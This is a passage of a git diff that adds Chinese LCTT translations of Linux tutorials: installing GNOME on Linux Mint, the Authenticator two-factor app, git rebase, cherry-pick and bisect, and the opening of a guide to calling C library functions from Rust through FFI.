apt install gnome +``` + +在你执行上述任一个命令后,在接下来的步骤中将会要求你选择首选的显示管理器。 + +![choose display manager][4] + +`gdm3` 是 GNOME 桌面的显示管理器,而 Linux Mint 使用 `lightdm` 作为默认的显示管理器,这两种显示器都可以正常工作,但是,我建议你使用 `gdm3` 来获取完整的 GNOME 体验。 + +#### 切换到 GNOME + +在完成后,注销并按一次回车键,在这里,你将看到一个小齿轮图标。从这里选择 “GNOME” : + +![choose gnome while logging in][5] + +现在,你拥有以 Linux Mint 为基础的 GNOME 桌面环境! + +#### 额外提示:如何应用整体风格一致的主题 + +你可以继续使用 Cinnamon 桌面的主题,但是它们大多不能如前工作,因此,我建议使用 GNOME 桌面的主题(例如 Adwaita )来保持桌面环境的一致性。 + +对我而言,其默认的字体没有一点效果。并且,我更喜欢 Fedora 提供的一些字体。因此,从系统菜单打开 GNOME 调整GNOME tweaks,并作出如下更改: + +![change fonts in ubuntu to have vanilla gnome experience][6] + +这里是我使用的一些设置: + +- `Cantarell Regular (11)` 用于界面和文档文本。 +- `Noto Sans Mono Regular (13)` 用于等宽字体文本。 +- `Cantarell Bold (11)` 用于窗口标题。 + +它们的结果是,比默认的 Ubuntu 字体方案要好得多。 + +既然你有了 GNOME ,你可以使用我们的详细指南来安装和 [更改 Linux 上的 GNOME 主题][7],来使其成为你所梦想的样子。 + +### 总结 + +如你所见,在 Linux Mint 上安装 GNOME 是非常简单的。正如我先前所提到的那样,移除部分可能会使事情复杂化,因为这可能会移除一些 Cinnamon 所需要的一些 GNOME 软件包。 + +你现在的主力计算机系统是什么?我的是 Pop!_OS 。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-gnome-linux-mint/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robseans) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/linux-mint-vs-ubuntu/ +[2]: https://itsfoss.com/wp-content/uploads/2022/11/install-gnome-in-linux-mint.png +[3]: https://itsfoss.com/install-linux-mint-in-virtualbox/ +[4]: https://itsfoss.com/wp-content/uploads/2022/11/choose-display-manager.png +[5]: https://itsfoss.com/wp-content/uploads/2022/11/choose-gnome-while-logging-in.png +[6]: https://itsfoss.com/wp-content/uploads/2022/11/change-fonts-in-ubuntu-to-have-vanilla-gnome-experience.png +[7]: https://itsfoss.com/install-switch-themes-gnome-shell/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/15/104944fkv32vbys5x1hiv9.jpg \ No newline at end of file diff --git a/published/202212/20221117.1 ⭐️ Authenticator A Simple Open-Source App to Replace Authy on Linux.md b/published/202212/20221117.1 ⭐️ Authenticator A Simple Open-Source App to Replace Authy on Linux.md new file mode 100644 index 0000000000..6cf779848d --- /dev/null +++ b/published/202212/20221117.1 ⭐️ Authenticator A Simple Open-Source App to Replace Authy on Linux.md @@ -0,0 +1,93 @@ +[#]: subject: "Authenticator: A Simple Open-Source App to Replace Authy on Linux" +[#]: via: "https://itsfoss.com/authenticator/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15313-1.html" + +Authenticator:一个 Linux 上的 Authy 的简单的开源替代品 +====== + +Authy 是一款流行的应用,用于存储和管理双因素代码。它是一项基于云的服务,可为你提供便利的工业级安全性。不幸的是,它不是开源的。 + +你会考虑在 Linux 桌面上使用更直接(和开源)的身份验证器应用吗? + +嗯,当然,你不能使用云同步。但是你可以为双因素身份验证码做个备份。记住这点,让我告诉你更多有关 Authenticator 的信息。 + +![authenticator app ft][1] + +### Authenticator:生成双因素身份验证代码 + +当你启用在线服务的双因素身份验证时,大多数服务都会为你提供令牌/QR 码,你可以添加/扫描以生成代码。 + +Authenticator 就是这样一款适用于 Linux 的应用,他可让你添加双因素身份验证码。 + +![authenticator ui][2] + +它是一个自由开源的应用,具有添加各种支持双因素身份验证的令牌和网站的基本功能。 + +### 身份验证器的特点 + +![authenticator 自动锁定][4] + +你获得的一些基本功能包括: + +- 使用相机或截图的二维码扫描器 +- 使用密码保护应用 +- 自动锁定应用 +- 支持各种算法(SHA-1/SHA-256/SHA-512) +- 支持基于时间/基于计数器/流式计算方法 +- 备份/恢复选项(FreeOTP、Aegis 和 OTP、Bitwarden 和 Google Authenticator) + +你可以设置自定义选项,并能够根据服务提供的支持添加自定义的提供者。可以为提供者添加自定义图标,以帮助你区分身份验证代码。 + +![authenticator 自定义提供程序][5] + +在大多数情况下,默认设置应该适用于网站。但是,如果它不起作用,你可能需要与提供者核实确切的详细信息。 + +该应用还具有开箱即用的多个提供者,例如 Google Drive 和 Proton Mail。因此,你无需为添加的每个条目添加自定义配置。 + +### 在 Linux 上安装 Authenticator + +![authenticator 添加新代码][6] + +Authenticator 以 Flatpak 的形式提供。因此,你可以将它安装在任何 Linux 发行版上。 + +只需输入以下命令即可安装它: + +``` +flatpak install flathub com.belmoussaoui.Authenticator +``` + +你可以前往其 [Flathub][7] 或 GitLab 页面探索更多信息。 + +如果你是 Linux 世界的新手,请参阅我们的 [Flatpak 指南][8] 进行设置。你的软件中心可能已经启用了 Flatpak 集成。这种情况下,你可以搜索安装它。 + +### 使用开源身份验证器应用确保安全性和可靠性 + +我们经常依赖云驱动的工具来处理所有事情。当然,这很方便。 + +但是,有时桌面应用更有用。如果你也这么想并考虑进行转换,Authenticator 可能是一款值得安装的出色的应用,可以用于双因素身份验证码。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/authenticator/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/11/authenticator-app-ft.png +[2]: https://itsfoss.com/wp-content/uploads/2022/11/authenticator-ui.png +[4]: https://itsfoss.com/wp-content/uploads/2022/11/authenticator-auto-lock.png +[5]: https://itsfoss.com/wp-content/uploads/2022/11/authenticator-custom-provider.png +[6]: https://itsfoss.com/wp-content/uploads/2022/11/authenticator-add-new-code.png +[7]: https://flathub.org/apps/details/com.belmoussaoui.Authenticator +[8]: https://itsfoss.com/flatpak-guide/ diff --git a/published/202212/20221121.2 ⭐️⭐️ Learn Git 3 commands to level up your skill.md b/published/202212/20221121.2 ⭐️⭐️ Learn Git 3 commands to level up your skill.md new file mode 100644 index 0000000000..db24a51375 --- /dev/null +++ b/published/202212/20221121.2 ⭐️⭐️ Learn Git 3 commands to level up your skill.md @@ -0,0 +1,164 @@ +[#]: subject: "Learn Git: 3 commands to level up your skill" +[#]: via: "https://opensource.com/article/22/11/advanced-git-commands" +[#]: author: "Dwayne McDaniel https://opensource.com/users/dwaynemcdaniel" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15324-1.html" + +掌握强大的 Git 变基命令 +====== + +![][0] + +> 学习如何使用 Git 来压扁、变基和精选。 + +当我与别人谈到 Git 时,几乎每个人都对 [git rebase 命令][1] 有强烈的印象,这个命令让许多人遇到了问题,而不得不更改目录、删除仓库、然后再重新克隆一个仓库。我认为这是因为他们误解了分支是如何工作,遇到了一个非常糟糕的默认界面,还有一些合并冲突把事情搞得一团糟。 + +### 怎么找不到 git squash 命令? + +如果你曾在本地的仓库提交过很多次,并希望能把这些提交都合并为一个提交,接下来,我们就来介绍能用什么 Git 命令达到这个目的。Git 称这个概念为 “压扁提交 squash commits ”。我在编写文档时发现了这个概念:我花了十几个提交才修改好我的 Markdown 文档,但是仓库的维护者不想看到我的所有尝试,以免扰乱了该项目的历史,所以我被告知“需要压扁你的提交”。 + +**压扁提交**听起来是一个很有用的方法。但是只有一个问题:我不知道该怎么做。作为 Git 的新手,我做了任何人会做的事情:我去查阅 `git-squash` 的手册,但我立即遇到了阻碍: + +``` +$ man git-squash +> No manual entry for git-squash +``` + +我发现没有一个名为 `squash` 的 Git 命令,而是被要求 [运行一个完全独立的命令:git rebase 命令][2],该命令能将我的所有提交最终合并为一个提交。 + +我知道我碰到一个常见的情形:已经使用工具一段时间的人使用了**行话**或引用了一个概念,这个概念对他们来说是非常清楚的,但对新手来说就不能明白了。从概念上讲,这个情况看起来是这样的: + +![Image of 6 bowls of different colored spices, and an arrow pointing to the second image of all the spices blended into one bowl.][3] + +我这样说是为了鼓励你,你绝对不是第一个或最后一个 _被 Git 或谈论 Git 的人_ 弄糊涂的人。你可以要求对方说明白他的意见,并帮助你应该使用的正确命令。仓库的维护者实际上的意思是,“使用 `git rebase` 命令**,将很多提交压扁成一个提交”。 + +### 现在就来学习 git rebase 命令吧 + +`git rebase` 命令会将一个提交链从其第一个父级中删除,并将其放置在另一个提交链的末尾,将两个提交链组合成一个长链,而不是两个并行链。我意识到这是一个很复杂的定义。 + +回想一下 Git 的提交是如何链接在一起的,你可以看到,除了初始的 `main`(或 `master`)分支外,任何分支都有一个 父提交 parent commit 作为该链的 “基础 base ”。“变基 rebase ” 能使另一个链中的最后一个提交成为指定分支的新 “基础提交 base commit ”。 + +在 Git 中整合来自不同分支的修改主要有两种方法:合并merge 以及 变基rebase,你可能更熟悉 `git merge` 命令。接下来,就来看看 [git-scm.com] 是如何解释 `git merge` 和 `git rebase` 的差异: + +![Image of Git merge versus git rebase shown as numbered bubbles.][5] + +在合并示例中,它会把两个分支的最新快照(`C3` 和 `C4`)以及二者最近的共同祖先(`C2`)进行三方合并,合并的结果是生成一个新的快照(`C5`)。`experiment` 的分支指针仍然存在,仍然指向 `C4`。 + +在变基示例中,它提取在 `C4` 中引入的补丁和修改,然后在 `C3` 的基础上应用一次,使 `C3` 成为 `C4` 的新父级,并产生了一个名为 `C4'` 的新提交。 + +(LCTT 译注:具体的命令如下: + +``` +$ git checkout experiment +$ git rebase main +First, rewinding head to replay your work on top of it... +Applying: added staged command +``` + +它的原理是首先找到这两个分支 —— 即当前分支 `experiment`、变基操作的目标基底分支 `main` —— 的最近共同祖先 `C2`,然后对比当前分支相对于该祖先的历次提交,提取相应的修改并存为临时文件,然后将当前分支指向目标基底 `C3`,最后以此将之前另存为临时文件的修改依序应用。) + +值得注意的是,分支指针 `main` 没有移动。要让 Git 将指针移动到链的末尾(由`experiment` 指向),你还需要执行合并。 + +(LCTT 译注:具体的命令如下: + +``` +$ git checkout main +$ git merge experiment +``` + +![master 分支的快进合并](https://www.progit.cn/images/basic-rebase-4.png) + +此时,`C4'` 指向的快照就和上面使用 `merge` 命令的例子中 `C5` 指向的快照一模一样了。) + +`git rebase` 并不能替代 `git merge`。`git rebase` 是一种用于制作更清晰的历史记录,以与 `git merge` 结合使用的工具。 + +(LCTT 译注:使用 `git rebase` 命令将提交到某一分支上的所有修改都移至另一分支上,就好像“重新播放”一样。) + +#### 交互式变基能给你一个更友好的界面! + +从命令行执行 `git rebase` 命令,最可怕的地方在于它**糟糕的默认界面**。运行命令 `git rebase ` 要么有效,要么会变得一团糟,因为它没有太多的反馈或方法来确保它做你想做的事情。幸运的是,`git rebase` 命令和许多其他 Git 命令一样,具有 交互模式 interactive mode ,你可以使用参数 `-i` 或者 `-interactive` 来使用交互模式。 + +![Image of the Git lens interactive Rebase tool in VS Code.][6] + +在使用交互式模式时,`git rebase` 会从一个糟糕的黑框界面转换为一个**选项菜单**,允许你选择对正在变基的提交链所做的事。对于每个提交,你可以**选择**: + +- 选用pick:按原样包含 +- 重写reword:重写提交消息 +- 编写edit:在变基完成之前对提交中的文件进行进一步更改 +- 压扁squash:将多个提交压缩成一个提交,保留所有提交消息 +- 修理fixup:将多个提交压缩成一个提交,但只保留最后一个提交消息 +- 丢弃drop:丢弃此提交 + +就我个人而言,我更喜欢 [VS Code 的开源 GitLens 扩展][7] 使用下拉选择列表布局选项的方式,但 Git 允许你使用任何编辑器选择这些选项。对于 Emacs 或 Vim 等纯文本工具,你需要键入选择,而不是从菜单中选择,但最终结果仍然是相同的。 + +#### 何时做变基 + +知道 _何时_ 做变基与知道 _如何_ 做变基同样重要。事实上,如果你不在乎你的仓库历史提交消息有点混乱的话,那么你可以永远都不使用 `git rebase` 命令。但是,如果你想要更干净的历史提交消息,并且想要更少扰乱你的图形视图的提交,那么当你使用 `git rebase` 命令时,有一个重要的**经验法则**需要时刻记住: + +> “不要变基你存储库以外的的提交,那些提交可能是别人工作的基础。” + +如果你遵循该准则,不会发生什么大问题的。 + +简而言之,如果你让一个**本地分支**来完成你的工作,变基是没有问题的。但一旦该分支被 推送 push 了,就不要再变基该分支了。当然,你想要怎么做完全取决于你自己。 + +希望你会认为上述内容有助于你理解 `git rebase` 命令的工作原理,并能让你更有信心地使用它。与任何 Git 命令一样,**练习**是学习和理解怎么做的唯一方法。我鼓励你勇敢地尝试 交互式变基 interactive rebase `git rebase -i `! + +### 接下来学习 Git cherry-pick 命令吧 + +大多数开发人员将修改提交到某一分支上,但是之后发现他们一直**提交到了错误的分支上**。理想情况下,他们可以拿走那个提交,然后把它移到正确的分支,这正是 `git cherry-pick` 命令的作用。 + +`git cherry-pick` 命令利用了变基单个提交的方法。这一用法非常常见,以至于有了它自己的命令。 + +![Image of a woman picking a cherry from one tree and putting on another tree.][8] + +要使用 `git cherry-pick`,你只需告诉 Git 你要移动到“那个分支”的提交 ID(由 `HEAD` 指向): + +``` +$ git cherry-pick +``` + +如果出现问题,你可以根据 Git 提供的错误消息,来进行恢复: + +``` +$ git cherry-pick -i 2bc01cd +Auto-merging README.md +CONFLICT (content): Merge conflict in README.md +error: could not apply 2bc01cd… added EOF lines +hint: After resolving the conflicts, mark them with +hint: "git add/rm ", then run +hint: "git cherry-pick --continue". +hint: You can instead skip this commit with "git cherry-pick --skip". +hint: To abort and get back to the state before "git cherry-pick", +hint: run "git cherry-pick --abort". +$ git cherry-pick --abort +``` + +### 让 Git 更强大 + +`git rebase` 命令是 Git 实用程序强大的地方之一。你最好在测试仓库中先练习一下怎么使用,一旦你熟悉了它的概念和工作流程,你就可以给仓库一个清晰历史消息记录了。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/advanced-git-commands + +作者:[Dwayne McDaniel][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dwaynemcdaniel +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/4/git-rebase-i +[2]: https://opensource.com/article/22/4/manage-git-commits-rebase-i-command +[3]: https://opensource.com/sites/default/files/2022-11/gitbeyond2.spices.png +[4]: http://git-scm.com +[5]: https://opensource.com/sites/default/files/2022-11/gitbeyond2.gitmerger.png +[6]: https://opensource.com/sites/default/files/2022-11/gitbeyond2.GitLens%20Interactive%20Rebase%20tool%20in%20VS%20Code.png +[7]: https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens +[8]: https://opensource.com/sites/default/files/2022-11/gitbeyond2.cherrypicking.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/07/133637yq2526zsp7f1t7a2.jpg \ No newline at end of file diff --git a/published/202212/20221122.0 ⭐️ Find bugs with the git bisect command.md b/published/202212/20221122.0 ⭐️ Find bugs with the git bisect command.md new file mode 100644 index 0000000000..f870c884c0 --- /dev/null +++ b/published/202212/20221122.0 ⭐️ Find bugs with the git bisect command.md @@ -0,0 +1,89 @@ +[#]: subject: "Find bugs with the git bisect command" +[#]: via: "https://opensource.com/article/22/11/git-bisect" +[#]: author: "Dwayne McDaniel https://opensource.com/users/dwaynemcdaniel" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15310-1.html" + +使用 Git bisect 命令定位首次引入错误的提交 +====== + +![][0] + +> Git 的 bisect 工具通过快速识别坏的提交,节省了时间和精力。 + +你是不是有过这样的经历:发现代码中有 错误 bug ,但不知道这个错误是什么时候引入的。这有可能是因为,某个人提交了一份有错误的代码,但没有在他的 Git 提交 commit 消息中声明它。这个错误可能已经存在了几周、几个月甚至几年,这意味着你需要搜索数百或数千个提交,才能找到问题何时出现的。而 `git bisect` 命令能够完美地解决这个问题! + +`git bisect` 命令是一个强大的工具。你可以给 `git bisect` 命令一个范围,一端是一个已知的好状态,另一端是一个已知的坏状态。它会自动地确认当前范围的中点,在这个中点上进行测试,然后要求你确定那次提交是一个 好提交 good commit 还是一个 坏提交 bad commit ,然后它会重复这一“二分查找”的过程,直到你找到首次引入错误的那一次提交。 + +![Image of Zeno's paradox of Achilles.][1] + +这个“数学”工具是利用“二分查找”来找到错误之处的。`git bisect` 命令通过**查看中点**,然后由你来决定它是提交列表的新起点(即 “坏提交” )还是新终点(即 “好提交”),进而来缩小查找范围,如此在几次查找中你可以就能定位到有错误的提交。即使你有 10,000 个提交要检查,最多只需要 13 次查找,就能很快地定位到首次引入错误的提交。 + +1. 提交 1 坏 <> 提交 10,000 好 => 提交 5,000 是坏的 +2. 提交 5,000 坏 <> 提交 10,000 好 => 提交 7,500 是好的 +3. 提交 5,000 坏 <> 提交 7,500 好 => 提交 6,250 是好的 +4. 提交 5,000 坏 <> 提交 6,250 好 => 提交 5,625 是坏的 +5. 提交 5,625 坏 <> 提交 6,250 好 => 提交 5,938 是坏的 +6. 提交 5,938 坏 <> 提交 6,250 好 => 提交 6,094 是好的 +7. 提交 5,938 坏 <> 提交 6,094 好 => 提交 6,016 是坏的 +8. 提交 6,016 坏 <> 提交 6,094 好 => 提交 6,055 是好的 +9. 提交 6,016 坏 <> 提交 6,055 好 => 提交 6,036 是坏的 +10. 提交 6,036 坏 <> 提交 6,055 好 => 提交 6,046 是坏的 +11. 提交 6,046 坏 <> 提交 6,055 好 => 提交 6,050 是坏的 +12. 提交 6,050 坏 <> 提交 6,055 好 => 提交 6,053 是好的 +13. 提交 6,053 坏 <> 提交 6,055 好 => 提交 6,054 是好的 + +对于上面这个例子,我们能知道 10,000 个提交中的第一个错误提交是第 6053 次提交。对于 `git bisect` 命令,最多需要几分钟就能完成检索。但是如果要一个一个查找每个提交是否错误,我甚至无法想象需要多长时间。 + +### 使用 Git bisect 命令 + +`git bisect` 命令使用起来非常简单: + +(LCTT 译注:使用 `git bisect start` 命令来进入 bisect 模式,并且该命令指定了一个检查范围。它会告诉我们一共有多少次提交,大概需要几步就可以定位到具体的提交。) + +``` +$ git bisect start +$ git bisect bad # Git assumes you mean HEAD by default +$ git bisect good # specify a tag or commit ID for +``` + +Git 检查中间的提交,并等待你声明这次提交是一个好提交还是一个坏提交: + +(LCTT 译注:如果某一提交是可以通过的,则使用 `git bisect good` 命令标记;同样地,如果某一提交不能通过,则使用 `git bisect bad` 命令标记。) + +``` +$ git bisect good +``` + +或 + +``` +$ git bisect bad +``` + +然后,`git bisect` 工具重复检查好提交和坏提交中间的那次提交,直到你告诉它: + +``` +$ git bisect reset +``` + +一些高级用户甚至可以自己编写脚本,来确定提交的好坏状态、并在找到特定提交时采取某一补救措施。你可能不会每天都使用 `git bisect` 命令,但当你需要它来定位首次引入错误的提交时,它会是一个很有用的救星。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/git-bisect + +作者:[Dwayne McDaniel][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dwaynemcdaniel +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-11/beyondgit.paradox.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/02/092549j2o7h9cif3hcu34z.jpg \ No newline at end of file diff --git a/published/202212/20221122.2 ⭐️⭐️⭐️ Introducing Rust calls to C library functions.md b/published/202212/20221122.2 ⭐️⭐️⭐️ Introducing Rust calls to C library functions.md new file mode 100644 index 0000000000..f0f6e2de35 --- /dev/null +++ b/published/202212/20221122.2 ⭐️⭐️⭐️ Introducing Rust calls to C library functions.md @@ -0,0 +1,292 @@ +[#]: subject: "Introducing Rust calls to C library functions" +[#]: via: "https://opensource.com/article/22/11/rust-calls-c-library-functions" +[#]: author: "Marty Kalin https://opensource.com/users/mkalindepauledu" +[#]: collector: "lkxed" +[#]: translator: "yzuowei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15353-1.html" + +从 Rust 调用 C 库函数 +====== + +![][0] + +> Rust FFI 和 bindgen 工具是为 Rust 调用 C 库而设计的。Rust 很容易与 C 语言对话,从而与任何其它可以与 C 语言对话的语言对话。 + +为什么要从 Rust 调用 C 函数?简短的答案就是软件库。冗长的答案则触及到 C 在众多编程语言中的地位,特别是相对 Rust 而言。C、C++,还有 Rust 都是系统语言,这意味着程序员可以访问机器层面的数据类型与操作。在这三个系统语言中,C 依然占据主导地位。现代操作系统的内核主要是用 C 来写的,其余部分依靠汇编语言补充。在标准系统函数库中,输入与输出、数字处理、加密计算、安全、网络、国际化、字符串处理、内存管理等等,大多都是用 C 来写的。这些函数库所代表的是一个庞大的基础设施,支撑着用其他语言写出来的应用。Rust 发展至今也有着可观的函数库,但是 C 的函数库 —— 自 1970 年代就已存在,迄今还在蓬勃发展 —— 是一种无法被忽视的资源。最后一点是,C 依然还是编程语言中的 [通用语][1]:大部分语言都可以与 C 交流,透过 C,语言之间可以互相交流。 + +### 两个概念证明的例子 + +Rust 支持 FFI(外部函数接口Foreign Function Interface)用以调用 C 函数。任何 FFI 所需要面临的问题是调用方语言是否涵盖了被调用语言的数据类型。例如,`ctypes` 是 Python 调用 C 的 FFI,但是 Python 并没有包括 C 所支持的无符号整数类型。结果就是,`ctypes` 必须寻求解决方案。 + +相比之下,Rust 包含了所有 C 中的原始(即,机器层面)类型。比如说,Rust 中的 `i32` 类对应 C 中的 `int` 类。C 特别声明了 `char` 类必须是一个字节大小,而其他类型,比如 `int`,必须至少是这个大小(LCTT 译注:原文处有评论指出 `int` 大小依照 C 标准应至少为 2 字节);然而如今所有合理的 C 编译器都支持四字节的 `int`,以及八字节的 `double`(Rust 中则是 `f64` 类),以此类推。 + +针对 C 的 FFI 所面临的另一个挑战是:FFI 是否能够处理 C 的裸指针,包括指向被看作是字符串的数组指针。C 没有字符串类型,它通过结合字符组和一个非打印终止符(大名鼎鼎的 _空终止符_)来实现字符串。相比之下,Rust 有两个字符串类型:`String` 和 `&str` (字符串切片)。问题是,Rust FFI 是否能将 C 字符串转化成 Rust 字符串——答案是 _肯定的_。 + +出于对效率的追求,结构体指针在 C 中也很常见。一个 C 结构体在作为一个函数的参数或者返回值的时候,其默认行为是传递值(即,逐字节复制)。C 结构体,如同它在 Rust 中的对应部分一样,可以包含数组和嵌套其他结构体,所以其大小是不定的。结构体在两种语言中的最佳用法是传递或返回引用,也就是说,传递或返回结构体的地址而不是结构体本身的副本。Rust FFI 再一次成功处理了 C 的结构体指针,其在 C 函数库中十分普遍。 + +第一段代码案例专注于调用相对简单的 C 库函数,比如 `abs`(绝对值)和 `sqrt`(平方根)。这些函数使用非指针标量参数并返回一个非指针标量值。第二段代码案例则涉及了字符串和结构体指针,在这里会介绍工具 [bindgen][2],其通过 C 接口(头文件)生成 Rust 代码,比如 `math.h` 以及 `time.h`。C 头文件声明了 C 函数的调用语法,并定义了会被调用的结构体。两段代码都能在 [我的主页上][3] 找到。 + +### 调用相对简单的 C 函数 + +第一段代码案例有四处 Rust 对标准数学库内的 C 函数的调用:两处分别调用了 `abs`(绝对值)和 `pow`(幂),两处重复调用了 `sqrt`(平方根)。这个程序可以直接用 `rustc` 编译器进行构建,或者使用更方便的命令 `cargo build`: + +``` +use std::os::raw::c_int; // 32位 +use std::os::raw::c_double; // 64位 + +// 从标准库 libc 中引入三个函数。 +// 此处是 Rust 对三个 C 函数的声明: +extern "C" { + fn abs(num: c_int) -> c_int; + fn sqrt(num: c_double) -> c_double; + fn pow(num: c_double, power: c_double) -> c_double; +} + +fn main() { + let x: i32 = -123; + println!("\n{x}的绝对值是: {}.", unsafe { abs(x) }); + + let n: f64 = 9.0; + let p: f64 = 3.0; + println!("\n{n}的{p}次方是: {}.", unsafe { pow(n, p) }); + + let mut y: f64 = 64.0; + println!("\n{y}的平方根是: {}.", unsafe { sqrt(y) }); + + y = -3.14; + println!("\n{y}的平方根是: {}.", unsafe { sqrt(y) }); //** NaN = NotaNumber(不是数字) +} +``` + +顶部的两个 `use` 声明是 Rust 的数据类型 `c_int` 和 `c_double`,对应 C 类型里的 `int` 和 `double`。Rust 标准模块 `std::os::raw` 定义了 14 个类似的类型以确保跟 C 的兼容性。模块 `std::ffi` 中有 14 个同样的类型定义,以及对字符串的支持。 + +位于 `main` 函数上的 `extern "C"` 区域声明了 3 个 C 库函数,这些函数会在 `main` 函数内被调用。每次调用都使用了标准的 C 函数名,但每次调用都必须发生在一个 `unsafe` 区域内。正如每个新接触 Rust 的程序员所发现的那样,Rust 编译器极度强制内存安全。其他语言(特别是 C 和 C++)作不出相同的保证。`unsafe` 区域其实是说:Rust 对外部调用中可能存在的不安全行为不负责。 + +第一个程序输出为: + +``` +-123的绝对值是: 123. +9的3次方是: 729. +64的平方根是: 8. +-3.14的平方根是: NaN. +``` + +输出的最后一行的 `NaN` 表示不是数字Not a Number:C 库函数 `sqrt` 期待一个非负值作为参数,这使得参数 `-3.14` 生成了 `NaN` 作为返回值。 + +### 调用涉及指针的 C 函数 + +C 库函数为了提高效率,经常在安全、网络、字符串处理、内存管理,以及其他领域中使用指针。例如,库函数 `asctime`(ASCII 字符串形式的时间)期待一个结构体指针作为其参数。Rust 调用类似 `asctime` 的 C 函数就会比调用 `sqrt` 要更加棘手一些,后者既没有牵扯到指针,也不涉及到结构体。 + +函数 `asctime` 调用的 C 结构体类型为 `struct tm`。一个指向此结构体的指针会作为参数被传递给库函数 `mktime`(时间作为值)。此结构体会将时间拆分成诸如年、月、小时之类的单位。此结构体的字段field类型为 `time_t`,是 `int`(32位)和 `long`(64 位)的别名。两个库函数将这些破碎的时间片段组合成了一个单一值:`asctime` 返回一个以字符串表示的时间,而 `mktime` 返回一个 `time_t` 值表示自 “[纪元][4]Epoch 以来所经历的秒数,这是一个系统的时钟和时间戳的相对时间。典型的纪元设置为 1900 年或 1970 年,1 月 1 日 0 时 0 分 0 秒。(LCTT 校注:Unix、Linux 乃至于如今所有主要的计算机和网络的时间纪元均采用 1970 年为起点。) + +以下的 C 程序调用了 `asctime` 和 `mktime`,并使用了其他库函数 `strftime` 来将 `mktime` 的返回值转化成一个格式化的字符串。这个程序可被视作 Rust 对应版本的预热: + +``` +#include +#include + +int main () { + struct tm sometime; /* 时间被打破细分 */ + char buffer[80]; + int utc; + + sometime.tm_sec = 1; + sometime.tm_min = 1; + sometime.tm_hour = 1; + sometime.tm_mday = 1; + sometime.tm_mon = 1; + sometime.tm_year = 1; /*LCTT 校注:注意,相对于 1900 年的年数*/ + sometime.tm_hour = 1; + sometime.tm_wday = 1; + sometime.tm_yday = 1; + + printf("日期与时间: %s\n", asctime(&sometime)); + + utc = mktime(&sometime); + if( utc < 0 ) { + fprintf(stderr, "错误: mktime 无法生成时间\n"); + } else { + printf("返回的整数值: %d\n", utc); + strftime(buffer, sizeof(buffer), "%c", &sometime); + printf("更加可读的版本: %s\n", buffer); + } + + return 0; +} +``` + +程序输出为: + +``` +日期与时间: Fri Feb  1 01:01:01 1901 +返回的整数值: 2120218157 +更加可读的版本: Fri Feb  1 01:01:01 1901 +``` + +(LCTT 译注:如果你尝试在自己电脑上运行这段代码,然后得到了一行关于 `mktime` 的错误信息,然后又在网上随便找了个在线 C 编译器,复制代码然后得到了跟这里的结果有区别但是没有错误的结果,不要慌,我的电脑上也是这样的。导致本地机器上 `mktime` 失败的原因是作者没有设置 `tm_isdst`,这个是用来标记夏令时的标志。[`tm_isdst` 大于零则夏令时生效中,等于零则不生效,小于零标记未知][5]。加入 `sometime.tm_isdst = 0` 或 `= -1` 后应该就能得到跟在线编译器大致一样的结果。不同的地方在于结果第一行我得到的是 `Mon Feb ...`,这个与作者代码中 `sometime.tm_wday = 1` 对应,这里应该是作者**写错了**;第二行我和作者和网上得到的数字都不一样,这大概是合理的,因为这与机器的纪元有关;第三行我跟作者的结果是一样的,1901 年 2 月 1 日也确实是周五,这是因为 [`mktime` 其实会修正时间参数中不合理的地方][6]。至于夏令时具体是如何影响 `mktime` 这个问题,我能查到的只有 `mktime` 的计算受时区影响,更底层的原因我也不知道了。) + +总的来说,Rust 在调用库函数 `asctime` 和 `mktime` 时,必须处理以下两个问题: + +- 将裸指针作为唯一参数传递给每个库函数。 +- 把从 `asctime` 返回的 C 字符串转化为 Rust 字符串。 + +### Rust 调用 asctime 和 mktime + +工具 `bindgen` 会根据类似 `math.h` 和 `time.h` 之类的 C 头文件生成 Rust 支持的代码。下面这个简化版的 `time.h` 就可以用来做例子,简化版与原版主要有两个不同: + +- 内置类型 `int` 被用来取代别名类型 `time_t`。工具 bindgen 可以处理 `time_t` 类,但是会生成一些烦人的警告,因为 `time_t` 不符合 Rust 的命名规范:`time_t` 以下划线区分 `time` 和 `t`;Rust 更偏好驼峰式命名方法,比如 `TimeT`。 +- 出于同样的原因,这里选择 `StructTM` 作为 `struct tm` 的别名。 